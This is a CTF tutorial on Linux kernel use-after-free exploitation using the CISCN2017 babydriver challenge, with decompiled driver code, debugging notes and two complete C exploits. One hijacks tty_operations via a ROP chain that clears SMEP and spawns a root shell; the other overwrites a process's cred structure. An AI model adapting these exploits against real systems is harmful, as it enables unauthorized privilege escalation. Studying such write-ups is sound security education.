Kernel UAF¶
UAF stands for Use After Free, which typically refers to the exploitation of dangling pointers that were not reset after being freed. Previously in the userspace heap section, many of the ptmalloc exploits were based on UAF vulnerabilities for further exploitation.
In CTF, the kernel's "heap memory" mainly refers to the direct mapping area, where the commonly used allocation function kmalloc allocates memory from. The commonly used allocator is the slub allocator. If dangling pointers exist in the kernel, we can likewise exploit the slab/slub memory allocator to achieve privilege escalation through Kernel UAF.
Example: CISCN2017 - babydriver¶
Challenge attachments can be downloaded at https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/CISCN2017-babydriver.
Analysis¶
First, let's decompress rootfs.cpio and see what files are inside:
CISCN2017_babydriver [master●] mkdir core
CISCN2017_babydriver [master●] cd core
core [master●] mv ../rootfs.cpio rootfs.cpio.gz
core [master●●] gunzip ./rootfs.cpio.gz
core [master●] ls
rootfs.cpio
core [master●] cpio -idmv < rootfs.cpio
.
etc
etc/init.d
etc/passwd
etc/group
...
...
usr/sbin/rdev
usr/sbin/ether-wake
tmp
linuxrc
home
home/ctf
5556 块
core [master●] ls
bin etc home init lib linuxrc proc rootfs.cpio sbin sys tmp usr
core [master●] bat init
───────┬─────────────────────────────────────────────────────────────────────────────────
│ File: init
───────┼─────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/sh
2 │
3 │ mount -t proc none /proc
4 │ mount -t sysfs none /sys
5 │ mount -t devtmpfs devtmpfs /dev
6 │ chown root:root flag
7 │ chmod 400 flag
8 │ exec 0</dev/console
9 │ exec 1>/dev/console
10 │ exec 2>/dev/console
11 │
12 │ insmod /lib/modules/4.4.72/babydriver.ko
13 │ chmod 777 /dev/babydev
14 │ echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
15 │ setsid cttyhack setuidgid 1000 sh
16 │
17 │ umount /proc
18 │ umount /sys
19 │ poweroff -d 0 -f
20 │
───────┴────────────────────────────────────────────────────────────
babydriver.ko, this driver. Following the usual pwn routine, this is the vulnerable LKM. The other commands in init are common Linux commands and won't be explained further. Let's extract this driver file.
core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..
core [master●] cd ..
CISCN2017_babydriver [master●] check ./babydriver.ko
./babydriver.ko: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=8ec63f63d3d3b4214950edacf9e65ad76e0e00e7, with debug_info, not stripped
[*] '/home/m4x/pwn_repo/CISCN2017_babydriver/babydriver.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
Open it in IDA for analysis. Since the symbol table is not stripped, let's first press shift + F9 to see what structures exist. We can find the following structure:
00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)
00000000 ; XREF: .bss:babydev_struct/r
00000000 device_buf dq ? ; XREF: babyrelease+6/r
00000000 ; babyopen+26/w ... ; offset
00000008 device_buf_len dq ? ; XREF: babyopen+2D/w
00000008 ; babyioctl+3C/w ...
00000010 babydevice_t ends
00000010
Now let's look at the main functions:
babyioctl: Defines command 0x10001, which can free device_buf in the global variable babydev_struct, then reallocate a chunk of memory based on the user-provided size, and set device_buf_len.
// local variable allocation has failed, the output may be wrong!
void __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
}
else
{
printk("\x013defalut:arg is %ld\n", v3, v3);
}
}
babyopen: Allocates a block of space of size 0x40 bytes, stores the address in the global variable babydev_struct.device_buf, and updates babydev_struct.device_buf_len.
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x24000C0LL, 0x40LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 0x24000C0LL, v2);
return 0;
}
babyread: First checks whether the length is less than babydev_struct.device_buf_len, then copies data from babydev_struct.device_buf to buffer. Both buffer and length are user-provided parameters.
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
babywrite: Similar to babyread, but copies from buffer to the global variable instead.
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
babyrelease: Frees the space, nothing special to say.
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
There are also two functions babydriver_init() and babydriver_exit() that handle the initialization and cleanup of the /dev/babydev device respectively. You can look up the function usage; we won't analyze them further.
Approach¶
There are no traditional userspace vulnerabilities like overflow, but there is a pseudo race condition-induced UAF vulnerability:
- If we open two devices simultaneously, the second open will overwrite the space allocated by the first, because babydev_struct is global. Similarly, if we free the first one, the second one is actually already freed, creating a UAF.
Next, let's consider how to hijack program execution flow through UAF. Here we choose the tty_struct structure as the victim object.
Under /dev, there is a pseudo-terminal device ptmx. When we open this device, the kernel creates a tty_struct structure. Like other device types, tty driver devices also have a structure containing function pointers called tty_operations.
It's easy to see that we can hijack the tty_struct structure and its internal tty_operations function table of the /dev/ptmx device through UAF. Then when we perform corresponding operations on this device (such as write, ioctl), our planted malicious function pointers will be executed.
Since SMAP protection is not enabled, we can lay out the ROP chain and fake tty_operations structure on the userspace process stack.
The structure
tty_structis located ininclude/linux/tty.h, andtty_operationsis located ininclude/linux/tty_driver.h.
There is nothing like one_gadget in the kernel, so to complete ROP we also need to perform a stack pivot.
Using gdb for debugging, observe the register values when the kernel calls our malicious function pointer. Here we choose to hijack the tty_operations structure to the userspace stack, and select any kernel gadget as the fake tty function pointer to conveniently set a breakpoint:

We can easily observe that when we call tty_operations->write, the rax register contains the address of the tty_operations structure. Therefore, if we can find a gadget like mov rsp, rax in the kernel, we can successfully pivot the stack to the beginning of the tty_operations structure.
Using ROPgadget to search for related gadgets, we find two gadgets that meet our requirements:

GDB debugging reveals that the first gadget is actually equivalent to mov rsp, rax ; dec ebx ; ret:

With this gadget, we can nicely complete the stack pivot process and execute our constructed ROP chain.
Since the space between the beginning of the tty_operations structure and its write pointer is small, we need to perform a second stack pivot. Here we just pick any gadget that modifies rax:

Exploit¶
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff810d238d
#define POP_RAX_RET 0xffffffff8100ce6e
#define MOV_CR4_RDI_POP_RBP_RET 0xffffffff81004d80
#define MOV_RSP_RAX_DEC_EBX_RET 0xffffffff8181bfc5
#define SWAPGS_POP_RBP_RET 0xffffffff81063694
#define IRETQ_RET 0xffffffff814e35ef
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
int (*commit_creds_ptr)(void *) = commit_creds;
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
int main(void)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
//get the addr
FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t rop[0x20], p = 0;
rop[p++] = POP_RDI_RET;
rop[p++] = 0x6f0;
rop[p++] = MOV_CR4_RDI_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = getRootPrivilige;
rop[p++] = SWAPGS_POP_RBP_RET;
rop[p++] = 0;
rop[p++] = IRETQ_RET;
rop[p++] = getRootShell;
rop[p++] = user_cs;
rop[p++] = user_rflags;
rop[p++] = user_sp;
rop[p++] = user_ss;
size_t fake_op[0x30];
for(int i = 0; i < 0x10; i++)
fake_op[i] = MOV_RSP_RAX_DEC_EBX_RET;
fake_op[0] = POP_RAX_RET;
fake_op[1] = rop;
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
ioctl(fd1, 0x10001, 0x2e0);
close(fd1);
size_t fake_tty[0x20];
int fd3 = open("/dev/ptmx", 2);
read(fd2, fake_tty, 0x40);
fake_tty[3] = fake_op;
write(fd2, fake_tty, 0x40);
write(fd3, buf, 0x8);
return 0;
}
Old Solution¶
The solution for this challenge back in the day was to directly modify the uid and gid of the process's cred structure to 0 through UAF, which was very simple and straightforward.
However, this method is no longer viable in newer kernel versions. We can no longer directly allocate objects from cred_jar, because cred_jar has the SLAB_ACCOUNT flag set during creation. When CONFIG_MEMCG_KMEM=y (enabled by default), cred_jar will no longer be merged with the same-sized kmalloc-192.
From kernel source 4.5
kernel/cred.cvoid __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL); }This challenge (4.4.72):
void __init cred_init(void) { /* allocate a slab in which we can store credentials */ cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL); }
Therefore, here we introduce a more universal solution. For those interested in the old solution, you can refer to the following exp:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
int main(void)
{
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
ioctl(fd1, 0x10001, 0xa8); /* object to be reused as the child's cred */
close(fd1);
int pid = fork();
if(pid < 0) {
printf("\033[31m\033[1m[x] Unable to fork.\033[0m\n");
return -1;
}
else if(pid == 0) { /* the child to get the UAF cred */
char buf[30];
memset(buf, '\0', sizeof(buf));
write(fd2, buf, 28); /* overwrite uid&gid to 0 directly */
if(getuid() == 0) {
puts("\033[32m\033[1m[+] Successful to get the root.\033[0m\n");
system("/bin/sh");
return 0;
} else {
printf("\033[31m\033[1m[x] Failed to get the root.\033[0m\n");
return -1;
}
}
else { /* the parent */
wait(NULL); /* waiting for the child to be done */
}
return 0;
}
Reference¶
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x04-Kernel-Heap-Use-After-Free
https://bbs.pediy.com/thread-247054.htm
https://whereisk0shl.top/NCSTISC%20Linux%20Kernel%20pwn450%20writeup.html